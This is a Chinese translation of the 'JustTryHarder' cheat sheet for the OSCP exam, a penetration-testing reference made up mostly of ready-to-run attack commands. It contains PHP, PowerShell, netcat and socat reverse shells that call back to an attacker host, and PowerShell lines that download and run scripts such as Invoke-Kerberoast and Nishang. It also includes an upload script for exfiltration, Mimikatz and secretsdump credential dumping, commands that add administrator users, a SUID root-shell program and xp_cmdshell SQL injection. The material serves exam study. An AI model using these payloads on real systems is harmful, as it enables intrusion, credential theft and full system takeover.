JustTryHarder 是一份速查表,将帮助您完成 PWK 课程和 OSCP 考试。
(受 PayloadAllTheThings 启发)
如果这对你有帮助,欢迎提交 Pull Request 并点个星来表达一些爱。💖
欢迎 Hacktoberfest! 是的,我们欢迎在 Hacktoberfest 期间提交 Pull Request!请确保不是垃圾信息,并且确实对该仓库有良好贡献。感谢并祝黑客快乐!
免责声明: 以下内容不包含 PWK 实验室/OSCP 考试的剧透。
我通过其他 Github 仓库、博客、网站等获取了大量信息。我已尽力尽可能地注明原始创作者。如果我没有注明你的信息,请在 Twitter 上联系我:https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
`TTL` 可用于确定主机的操作系统。如下所示,共有三种不同的 TTL 类型:
- **TTL=64** = \*nix - 跳数;因此,如果你得到 61,那么有 3 跳,并且是 \*nix 设备。很可能是 Linux。
- **TTL=128** = Windows - 同样,如果 TTL 是 127,那么跳数为 1,并且是 Windows 机器。
- **TTL=254** = Solaris/AIX - 如果 TTL 是 250,那么跳数为 4,并且是 Solaris 机器。
## BOF(正在编写中)
(典型的坏字符包括:`0x00`、`0x0A`、`0x0D`)
- 模糊测试
- 查找 EIP 位置
- 查找坏字符
- 定位 `jmp esp`
- 使用 `msfvenom` 生成载荷
- 使用 `netcat` 获取反向 Shell
**优秀的 BOF 资源:**
- [NCC Group - 为 Win32 编写漏洞利用](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - 漏洞利用编写教程第1部分](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - 32位 Windows 缓冲区溢出简单教程](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## 逃逸/环境逃逸
- [Pentest Partners - 突破 Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - SiteKiosk 逃逸](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Kiosk/POS 逃逸键](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - 突破 Citrix 环境](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - 突破应用程序](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - 环境逃逸的常见问题 (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Citrix 逃逸](https://gracefulsecurity.com/citrix-breakout/)
## DNS - 区域传输```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## 文件传输
### SMB 传输
在受害者机器(Windows)上:```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Wget 传输
如何从主机检索文件(在反向Shell内)。
**设置:** 将你要传输的文件放在 `/var/www/html/` 中,并运行 `service apache2 start`。
在远程服务器上运行:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### TFTP 传输
(如何从 Kali 传输到 Windows)。
**使用 MSF:**
在这些步骤之前启动 MSF:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**在终端内:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat(Windows 到 Kali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
交互式会话:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
在没有交互式PowerShell会话的情况下(创建`wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -\> Linux)
**本地主机:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. 通过 `nc` 或其他方式将 `encoded.b64` 传输到远程服务器。
**远程服务器 - Linux:**
3. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### HTTP 文件上传(外泄)
**1. 创建 upload.php**
在攻击机 webroot(默认为 `/var/www/html`)中创建。```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. 创建目录**
创建上传目录并设置适当的权限以允许上传。```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. 上传文件** 使用PowerShell从受害者机器上传文件到攻击机器:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting
- `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
- `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
- `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`
## LFI / RFI
**PHP 反向 Shell:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**命令注入:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQL注入
- `EXEC master..xp_cmdshell 'whoami';`
- `' exec master..xp_cmdshell 'whoami' --`
- [OSCP-2 SQL注入速查表](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
- [PentestMonkey SQL注入](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
## 密码破解
**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## 密码喷射 (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## 有效载荷生成
- [NETSEC - 创建有效载荷](https://netsec.ws/?p=331)
- [MsfVenom 速查表](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
- [Metasploit Unleashed 有效载荷](https://www.offensive-security.com/metasploit-unleashed/payloads/)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
**类型:**
- 非分段:`netcat`
- 分段:`multi/handler`
## PHP
- [exec()、shell_exec、system() 和 passthru() 之间的区别](https://stackoverflow.com/questions/20072696/what-is-different-between-exec-shell-exec-system-and-passthru-functions?lq=1)
## 权限提升 - Linux
**注意:** 如果安装了 GCC 和 wget,系统可能容易受到内核漏洞利用的攻击。
- [Linux 内核漏洞利用](https://github.com/SecWiki/linux-kernel-exploits)
- [GTFObins - 突破受限 shell](https://gtfobins.github.io)
- GTFO 辅助脚本: [https://github.com/dreadnaughtsec/gtfo](https://github.com/dreadnaughtsec/gtfo)
- [Linux 漏洞利用建议器](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester)
- [Linux 漏洞利用建议器 2](https://github.com/jondonas/linux-exploit-suggester-2)
- [基本 Linux 权限提升](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
**枚举命令:**```bash
grep -Ri 'password' .
find / -perm –4000 2>/dev/null
find / -perm -u=s 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null
# (then ls -la, look for 777 file permissions)
```
**自定义SUID二进制文件:**
需要以目标用户身份执行代码。示例:mysql sys\_eval as root。```c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main(){
setuid(geteuid());
system("/bin/bash");
return 0;
}
```
## 权限提升 - Windows
- [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
- [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
- [PowerUp / PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
- [Powerless - 枚举工具](https://github.com/M4ximuss/Powerless)
- [本地权限提升工作坊](https://github.com/sagishahar/lpeworkshop)
- [Just Another Windows (Enum) Script / JAWS](https://github.com/411Hall/JAWS)
- [Watson](https://github.com/rasta-mouse/Watson)
- [Sherlock (已弃用)](https://github.com/rasta-mouse/Sherlock)
- [Windows 漏洞利用建议器](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
**命令:**
- `churrasco -d "net user /add <username> <password>"`
- `churrasco -d "net localgroup administrators <username> /add"`
- `churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"`
## 后渗透利用
1. `Mimikatz.exe` (运行它)
2. `privilege::debug`
3. `sekurlsa::logonpasswords`
## 端口转发
> **本地转发:** 将本地端口转发到远程主机。
> 如果你有一个服务运行在可以从远程机器访问的机器上,并且你想直接从本地机器访问它,请使用本地转发。
>
> **远程转发:** 将远程端口转发到本地主机。
> 如果你有一个服务可以从本地机器访问,并且需要使其对远程机器可用,请使用远程转发。它会在你通过 SSH 登录的机器上打开监听套接字。
>
> **动态转发:** 使用 SOCKS。
> 动态转发类似于本地转发,但在客户端表现为 SOCKS 代理。如果你需要连接支持 SOCKS 转发的软件,请使用它。
### Chisel
**本地系统:**```bash
./chisel server -p 8080 --reverse
```
**受害者:**```bash
./chisel client YOUR_IP:8080 R:1234:127.0.0.1:1234
```
### SSH
1. **在作为跳板的主机上生成一个SSH密钥对**以保护你的凭证。
<!-- end list -->```bash
ssh-keygen
cat ~/.ssh/id_rsa.pub
```
2. **复制公钥**。使用以下语法将此值和跳板机的IP地址添加到攻击机(Kali)上的 `~/.ssh/authorized_keys` 文件中。
<!-- end list -->```
from="[VICTIM_MACHINE_IP_ADDRESS]",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty [PUBLIC_KEY_VALUE]
```
3. **确保 SSH 服务正在运行**在你的攻击机(Kali)上。
<!-- end list -->```bash
sudo service ssh start
```
4. **发起 SSH 调用** 从被用作跳板的机器上,并指定步骤 1 中生成的 `id_rsa` 私钥。
<!-- end list -->```bash
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /[PATH_TO_YOUR_PRIVATE_KEY]/id_rsa kali@[ATTACKING_MACHINE_IP]
```
5. **编辑你的 proxychains 配置**: `/etc/proxychains.conf`
<!-- end list -->```
socks4 127.0.0.1 1080
```
6. **运行 proxychains**。在使用 `nmap` 进行扫描时,请确保使用 TCP 连接扫描。
<!-- end list -->```bash
sudo proxychains nmap -sT -p80 -sC -sV --open -Pn -n 10.10.10.10
```
**附加说明:**
- `ssh [email protected] -R 1234:127.0.0.1:1234`
- `ssh -D 1337 -q -C -N -f [email protected]` ([来源](https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters))
## Socks 代理 (使用 PowerShell)
**本地:**
- `vi /etc/proxychains.conf` -\> `socks5 <ip> 9080`
- `Import-Module .\Invoke-SocksProxy.psm1`
- `Invoke-SocksProxy -bindPort 9080`
- `proxychains nmap -sT <ip>`
## 端口扫描
### TCP```bash
reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames
nmap -vvv -sC -sV -p- --min-rate 2000 10.10.10.10
nmap -sT -p 22,80,110 -A
nmap -p- -iL ips.txt > TCP_Ports.txt
nc -v -n -z -w1 10.10.10.10 1-10000
nmap -p- -iL ips.txt > AllTCPPorts.txt
```
### UDP
(可能需要数小时,若拥有 shell,`netstat` 是更佳选择)。```bash
nmap -sU --top-ports 10000
nmap -sT -sU -p 22,80,110 -A
nmap -sT -sU -p- --min-rate 2000
nmap -p- -sU -iL ips.txt > udp.txt
nmap -sU -sV -iL ips.txt > alludpports.txt
```
### 其他协议
**SNMP:**
`nmap -p161 -sU -iL ips.txt > udp.txt`
**SSH:**
`nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt`
**SSL:**
`nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt`
**NMAP Bootstrap 报告:**```bash
nmap -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.10
firefox nmap-bootstrap.xsl
```
## Ping 扫描
### Linux(单行命令)```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
fping -g 192.168.0.1/24
```
### Linux(脚本)```bash
for i in `seq 1 255`
do
ping -c1 192.168.125.$i 2>/dev/null 1>&2
if [[ $? -eq 0 ]]
then
echo 192.168.125.$i is up
fi
done
```
### Windows (CMD)```cmd
for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.
```
### Windows (PowerShell)```powershell
$ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }
```
### Nmap```bash
nmap -sP 192.168.0.1-254
```
## 横向移动
- `sshuttle -r [email protected] 10.1.1.0/24`
## 远程桌面
- `rdesktop -u user -p password 10.10.10.10 -g 85% -r disk:share=/root/`
- `xfreerdp /d:xyz.local /u:username /p:password /v:10.10.10.10 /cert-ignore`
## Responder
- `responder -I tun0 -wrF`
- [Responder与NTLM中继及Empire](https://chryzsh.gitbooks.io/darthsidious/content/execution/responder-with-ntlm-relay-and-empire.html)
- [NTLM中继实用指南](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
## 反向Shell
**Linux:**
- [PentestMonkey - 反向Shell速查表](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- [Awansec - 反向Shell](https://awansec.com/reverse-shell.html)
- [RevShells.com](https://www.revshells.com/)
**Windows:**
- [GitHub - Windows PHP反向Shell](https://github.com/Dhayalanb/windows-php-reverse-shell)
- `nc 10.10.10.10 4444 –e cmd.exe`
## Shell升级
来源:[Ropnop Blog](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) & [HTB Forum](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
### Python
1. `python -c 'import pty;spawn("/bin/bash");'` OR `python3 -c 'import pty;spawn("/bin/bash");'`
2. 在反向Shell中:
<!-- end list -->```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```
3. 在Kali中:
<!-- end list -->```bash
stty raw -echo
fg
```
4. 在反向 Shell 中:
<!-- end list -->```bash
reset # (sometimes optional)
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols> # (optional)
```
### 使用 Socat
**监听器:**```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
**受害者:**```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
### Perl
1. `perl -e 'exec "/bin/sh";'`
2. `perl: exec "/bin/sh";`
### Bash
`/bin/sh -i`
## SQL注入 (SQLmap)```bash
sqlmap -u "[http://example.com/test.php?test=test](http://example.com/test.php?test=test)" --level=5 --risk=3 --batch
```
## 显示监听端口
**Linux netstat:**
`netstat -tulpn | grep LISTEN`
**FreeBSD/MacOS X netstat:**
`netstat -anp tcp | grep LISTEN`
`netstat -anp udp | grep LISTEN`
**OpenBSD netstat:**
`netstat -na -f inet | grep LISTEN`
`netstat -nat | grep LISTEN`
**Nmap 扫描:**
`sudo nmap -sT -O localhost`
`sudo nmap -sU -O 192.168.2.13` (UDP)
`sudo nmap -sT -O 192.168.2.13` (TCP)
## SMB - 枚举
- [0xdf - SMB 枚举检查清单](https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html)
- `smbmap -H 10.10.10.10`
- `smbclient -L 10.0.0.10`
- `smbclient //10.10.10.10/share$`
## SMB - Impacket
**Impacket 的 PSEXEC** (在创建远程端口转发后):```bash
/usr/share/doc/python-impacket/examples/psexec.py [email protected]
# Password: (password)
# [*] Trying protocol 445/SMB...
```
**Impacket 的 SMBServer** (用于文件传输):
1. `cd /usr/share/windows-binaries`
2. `python /usr/share/doc/python-impacket/examples/smbserver.py a .`
3. `\\10.10.10.10\a\mimikatz.exe`
## SMTP 枚举
- [SMTP 命令](https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt)
## ICMP 注入
1. `ping -n 3 10.10.10.10`
2. `tcpdump -i tun0 icmp`
## VMware (未全屏显示)
`systemctl restart open-vm-tools.service`
## Web 服务器
- `python -m SimpleHTTPServer 80`
- `python3 -m http.server 80`
- `ngrok http "file:///C:\Users\sinfulz\Public Folder"`
- `php -S 0.0.0.0:80`
## Web 扫描
**GoBuster (Linux/Apache):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401
```
**GoBuster (Windows/IIS):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401
```
**Dirsearch (Linux/Apache):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50
```
**Dirsearch (Windows/IIS):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50
```
**其他 GoBuster:**
- HTTP: `gobuster dir -u http://10.10.10.10 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69`
- HTTPS: `gobuster dir -k -u https://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69`
**Nikto:**
- HTTP: `nikto -h 10.10.10.10 -p 80`
- HTTPS: `nikto -h 10.10.10.10 -p 443`
**WFuzz:**```bash
wfuzz -u [http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00](http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00) -w /usr/share/wfuzz/wordlist/general/common.txt
```
## 网页后门
- [PHPBash](https://github.com/Arrexel/phpbash)
- [p0wny-shell](https://github.com/flozz/p0wny-shell)
## WordPress
- [Top Hat Sec - WP](https://forum.top-hat-sec.com/index.php?topic=5758.0)
## Windows 框架 / Powershell
**绕过 PowerShell 执行策略:**```powershell
powershell -ExecutionPolicy ByPass -File script.ps1
```
**资源:**
- [Nishang](https://github.com/samratashok/nishang)
- [Sherlock](https://github.com/rasta-mouse/Sherlock)
**反向PowerShell:**
(有时需要在字符串前加上powershell或echo,或者使用引号)。```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
**PowerUp(来自本地网络服务器):**```powershell
echo IEX(New-Object Net.WebClient).DownloadString('[http://10.10.10.10:80/PowerUp.ps1](http://10.10.10.10:80/PowerUp.ps1)') | powershell -noprofile -
```
或```powershell
powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('[http://10.10.14.](http://10.10.14.)x/Whatever.ps1'); Invoke-Whatever"
```
**使用 MSSQL 实现反向 PowerShell:**```sql
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"[http://10.10.10.10/Nishang-ReverseShell.ps1](http://10.10.10.10/Nishang-ReverseShell.ps1)\")
```
**使用PowerShell传输文件:**```powershell
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')
```
## Windows 后渗透命令```cmd
WMIC USERACCOUNT LIST BRIEF
net user
net localgroup Users
net localgroup Administrators
net user USERNAME NEWPASS /add
net user "USER NAME" NEWPASS /add
net localgroup administrators USERNAME /add
```
## 可写目录
### Windows
(来源: [UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md))
以下文件夹默认情况下普通用户可写入(具体取决于操作系统版本)。```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
### Linux
在 Linux 中查找全局可写目录:```bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
```
## 待办事项列表:
- [ ] 提升速查表的可读性
- [ ] 填充空白部分
- [ ] 删除不必要的部分
- [ ] 将仓库中的文件整合到速查表中
- [ ] 迁移到 GitBook
- [ ] 如有需要,在速查表中添加截图/GIF
- [ ] 添加目录
## 致谢:
感谢以下人员将我的速查表收录到他们的网站/博客中:
- [KhaoticDev Cheatsheets](https://khaoticdev.net/cheatsheets/#collections)
- [NCyberSec Facebook 帖子](https://www.facebook.com/ncybersec/posts/1541830509321001)
- [CyberG0100 Facebook 帖子](https://www.facebook.com/cyberg0100/posts/github-sinfulzjusttryharder-justtryharder-a-cheat-sheet-which-will-aid-you-throu/653235345249466)
- [r/CyberSpaceVN Reddit 帖子](https://www.reddit.com/r/CyberSpaceVN/comments/f3n2wp/github_sinfulzjusttryharder_justtryharder_a_cheat)
- [XN4K PWK 速查表](https://xn4k.github.io/pentest/PWK-course-&-the-OSCP-Exam-Cheatsheet/)
- [OpenSourceLibs 渗透测试工具](https://opensourcelibs.com/libs/pentesting-tools)
- [GitMemory (brhannah)](https://gitmemory.com/brhannah)
- [BugBountyTips 博客](https://www.bugbountytips.tech/2020/08/23/justtryharderpwk-cheatsheetkali-linux-cheatsheethydra-cheatsheetsecu-2/)
- [PythonLang OSCP 分类](https://pythonlang.dev/category/oscp/)